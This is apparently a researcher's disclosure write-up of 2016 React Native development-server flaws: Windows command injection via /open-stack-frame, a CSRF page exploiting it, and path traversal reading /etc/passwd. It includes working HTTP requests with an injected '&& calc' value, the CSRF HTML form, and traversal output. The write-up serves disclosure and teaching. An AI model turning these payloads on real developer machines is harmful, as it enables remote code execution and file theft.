React Native Development Server Remote OS Command Injection and Remote File Disclosure
React Native is another cross-platform mobile development framework created by Facebook that developers can use to develop mobile applications on the Android and iOS platforms using JavaScript. From an architectural standpoint the framework is closer to Titanium or Kony than Cordova given that the mobile application uses JavaScriptCore as a standalone JS engine to execute the JS application code and the UI would be composed of native UI components as opposed to a HTML-based UI rendering in a WebView used in Cordova-based applications.
Anyways, I identified a number of vulnerabilities in the development server a couple months ago. During the development process, a Node.js based web server will be running in the background on the developer’s machine. The purpose of the development server is to serve resources such as application JavaScript code and other content, such as images, to the mobile device used during testing. Anytime the developer alters any of the JS code or assets the mobile application pulls down the new files from the development server. This allows for altering the application code without rebuilding the mobile application, which for a real world application might take minutes or hours.
Remote OS Command Injection
React Native has a pretty nifty feature related to error handling during the development process. If you make a syntax error, then the mobile application running on your testing device will show an ugly red window with a stack trace. If you tap on one of the rows in the stack trace shown on the mobile application, then your text editor of choice on your development machine will be opened and show the exact file and line number of the error.
In order for this functionality to work, the mobile application sends a HTTP request to the development server that specifies which file to open and which line number to show. Lets see how this works at the code level.
The code in the /local-cli/server/middleware/openStackFrameInEditorMiddleware.js
file handles requests to the /open-stack-frame
URL. The code assumes that a JSON payload exists in the body of the HTTP request which includes the file
and lineNumber
attributes. You should notice that no input validation is performed on either attribute within this method and it passes this information to the launchEditor
method.
module.exports = function(req, res, next) { if (req.url === '/open-stack-frame') { var frame = JSON.parse(req.rawBody); launchEditor(frame.file, frame.lineNumber); res.end('OK'); } else { next(); } };
The launchEditor
method is defined in the /local-cli/server/util/launchEditor.js
file. The code performs the following actions.
-
Validate that the provided filename actually exists using the the
existsSync
method. -
Determine what is the preferred text editor via the
guessEditor
method call. If theREACT_EDITOR
environment variable is set then the application just uses that value. Otherwise the application uses theps
command to guess which editor is preferred based on the currently running processes (this guessing process only occurs on OS X). -
Determine which arguments to pass to the preferred text editor in order to open the desired file at a specific line number via the
getArgumentsForLineNumber
method. -
Finally, spawn a new process to open the preferred text editor via the
child_process.spawn
method.
function launchEditor(fileName, lineNumber) { if (!fs.existsSync(fileName)) { return; } var editor = guessEditor(); if (!editor) { printInstructions('PRO TIP'); return; } var args = [fileName]; if (lineNumber) { args = getArgumentsForLineNumber(editor, fileName, lineNumber); } ... if (process.platform === 'win32') { // On Windows, launch the editor in a shell because spawn can only // launch .exe files. _childProcess = child_process.spawn('cmd.exe', ['/C', editor].concat(args), {stdio: 'inherit'}); } else { _childProcess = child_process.spawn(editor, args, {stdio: 'inherit'}); } // ... code removed for brevity ... }
A number of different text editors are supported, such as vim, atom, sublime, and emacs, and the getArgumentsForLineNumber
method builds a list with the proper command-line arguments depending on the selected editor. Remember, we control both the filename and the line number attributes, but the file must exist on the filesystem, which means we will end up manipulating the line number.
function getArgumentsForLineNumber(editor, fileName, lineNumber) { switch (path.basename(editor)) { case 'vim': case 'mvim': return [fileName, '+' + lineNumber]; case 'atom': case 'subl': case 'sublime': return [fileName + ':' + lineNumber]; case 'joe': case 'emacs': case 'emacsclient': return ['+' + lineNumber, fileName]; case 'rmate': case 'mate': case 'mine': return ['--line', lineNumber, fileName]; } // For all others, drop the lineNumber until we have // a mapping above, since providing the lineNumber incorrectly // can result in errors or confusing behavior. return [fileName]; }
At this point it should be clear that there exists a OS command injection vulnerability exploitable via a HTTP request. There are a number of preconditions worth noting.
-
The target (developer’s box) is running Windows (Linux and OS X are also supported by the framework). The development server on Windows spawns the editor using the
child_process.spawn
method andcmd.exe
, which means that we can use shell metacharacters in the partially controllable arguments. On *nix, the application again uses thechild_process.spawn
method, but the first argument is the path to the preferred editor not a shell, like/bin/sh
, so we can’t use shell metacharacters. For a more detailed explanation of OS command injection within Node.js, including a comparison of thechild_process.exec
andchild_process.spawn
methods check out lift Security’s excellent post. -
The target has configured React Native to use a text editor that supports line numbers (vim, atom, sublime, etc.). I configured my machine to use atom by setting the proper environment variable.
-
The development web server is currently running on the target box as in the developer is currently developing a React Native application with a mobile device.
-
The attacker is on the same network as the target (just like the mobile device).
Putting everything together, we can build the following HTTP request to trigger the vulnerability.
GET /open-stack-frame HTTP/1.1 Host: 172.16.170.140:8081 Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Length: 63 {"file":"C:\\Windows\\system.ini","lineNumber":"123\" && calc"} HTTP/1.1 200 OK Date: Mon, 29 Feb 2016 14:05:20 GMT Connection: keep-alive Content-Length: 2 OK
Exploiting OS Command Injection via CSRF
Normally, an attacker would have to be on the same network as the developer to exploit the OS command injection vulnerability in the development server that I just described, but we can exploit the same issue via CSRF by forcing the developer’s browser to submit a HTTP request to localhost
. Lets assume the following.
-
The target (developer’s box) is again running Windows.
-
The target has configured React to use a text editor that supports line numbers.
-
The development server is currently running on the target box.
-
The developer visits a malicious page (maybe a mobile development message board) that contains a CSRF payload such as the following. Note that the previous HTTP request can be easily converted into a CSRF PoC using Burp Suite’s engagement tools.
<html> <body> <form action="http://localhost:8081/open-stack-frame" method="POST" enctype="text/plain"> <input type="hidden" name="{"file":"C:\\Windows\\system.ini","lineNumber":"123\" && calc && " value=""}" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Nothing special but it works.
Remote File Disclosure
The React Native development server was also vulnerable to a simple path traversal attack. An attacker on the same network could exploit this vulnerability to retrieve files from the developer’s web server outside of the development directory where the resources are normally acquired from.
Consider the following example HTTP request and response that shows how to retrieve the /etc/passwd
file from the developer’s machine. I also identified an information leakage vulnerability in the server that would leak out the full file path of the development directory or the location of specific JS code files, which means that an attacker wouldn’t have to guess where they are in the directory structure. In a real attack, an attacker would seek to target sensitive files such as configuration files that could store passwords or encryption keys. Unlike the previously described vulnerability, this vulnerability was exploitable on multiple platforms.
GET /assets/../../../../../../../etc/passwd HTTP/1.1 Cache-Control: no-store Host: 10.0.1.117:8081 Connection: close Accept-Encoding: gzip User-Agent: okhttp/2.5.0 HTTP/1.1 200 OK Date: Tue, 01 Mar 2016 14:12:03 GMT Connection: close Content-Length: 5581 ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false ...
Disclosure
-
The two vulnerabilities were disclosed separately to FB security and React Native team on 2/29/16 and 3/3/16 respectively.
-
Fixes pushed to Github on 3/4/16. Verified that additional input validation is in place to prevent attacks.
Much respect for the quick response time.
Note that upgrading the react-native
dependency via npm
will not fix the problem for existing projects. You need to upgrade the react-native
dependency via npm
and then upgrade all your project templates that are still in use (react-native upgrade
).